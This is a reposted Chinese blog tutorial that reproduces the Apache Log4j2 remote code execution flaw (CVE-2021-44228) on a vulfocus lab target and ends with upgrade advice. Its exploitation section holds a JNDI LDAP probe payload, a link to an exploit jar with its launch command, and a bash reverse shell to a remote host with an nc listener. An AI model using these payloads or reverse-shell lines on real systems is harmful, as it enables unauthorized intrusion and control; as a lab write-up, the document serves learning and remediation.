其他分享
首页 > 其他分享> > [转]Apache Log4j2远程代码执行漏洞复现及修复建议

[转]Apache Log4j2远程代码执行漏洞复现及修复建议

作者:互联网

环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。
声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

在这里插入图片描述

背景:

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)

漏洞编号:

CNVD-2021-95914
CVE-2021-44228

影响版本:

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:

Apache Log4j 2.x < 2.15.0-rc2

影响力度:

2021.12.09 漏洞爆出后,新一轮拒绝服务漏洞相继爆出。各种测试网图流传,堪比安全圈过年,各类java项目、全球大厂几乎都受漏洞影响,且利用难度级低,严重程度级高,看图吃瓜:

百度:
在这里插入图片描述
苹果:
在这里插入图片描述
网易云:
在这里插入图片描述
无厘头:
在这里插入图片描述

环境搭建:

方式一
靶机地址:http://vulfocus.fofa.so/#

方式二
docker搭建:docker pull vulfocus/log4j2-rce-2021-12-09:latest

靶机访问如下:
在这里插入图片描述

验证漏洞是否存在:

1、使用Dnslog平台验证:
Dnslog地址:http://www.dnslog.cn/

2、使用burpsuit抓包,构造poc请求:
poc → ${jndi:ldap://dnslog address/poc}
在这里插入图片描述

3、Dnslog平台收到请求,证明漏洞存在。

漏洞利用:

利用工具:

链接:https://pan.baidu.com/s/1ABBPDmtMQktehVBt5MYwvg 
提取码:gr3n
  1. 使用圈内大佬的漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包 ;

  2. 在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ... -l 7000 -p 5000
    //注意:外网环境利用需要出外网,命令中填写公网IP

JNDI服务启动如下:
在这里插入图片描述
利用方式一(远程命令执行拿flag)

成功命令回显,拿到flag
在这里插入图片描述
利用方式二(反弹shell,控制靶机)

  1. 利用bash反弹shell

    同方式一请求包cmd命令换成:
    /bin/bash -c ‘bash -i >& /dev/tcp/.../5001 0>&1’

  2. vps接收shell

    nc -lvvp 5001

如下如,成功反弹shell,控制靶机:
在这里插入图片描述

解决方案:

  1. 升级至 log4j-2.15.0-rc2

    下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 对于漏洞整改及排查推荐大佬的文章:
    (针对无法立即升级用户)
    https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA


作者:. after
来源:CSDN
原文:https://blog.csdn.net/isxiaole/article/details/121912039
版权声明:本文为作者原创文章,转载请附上博文链接!

标签:application,漏洞,代码执行,Apache,靶机,Log4j2,2.15
来源: https://blog.csdn.net/weixin_45588247/article/details/122598932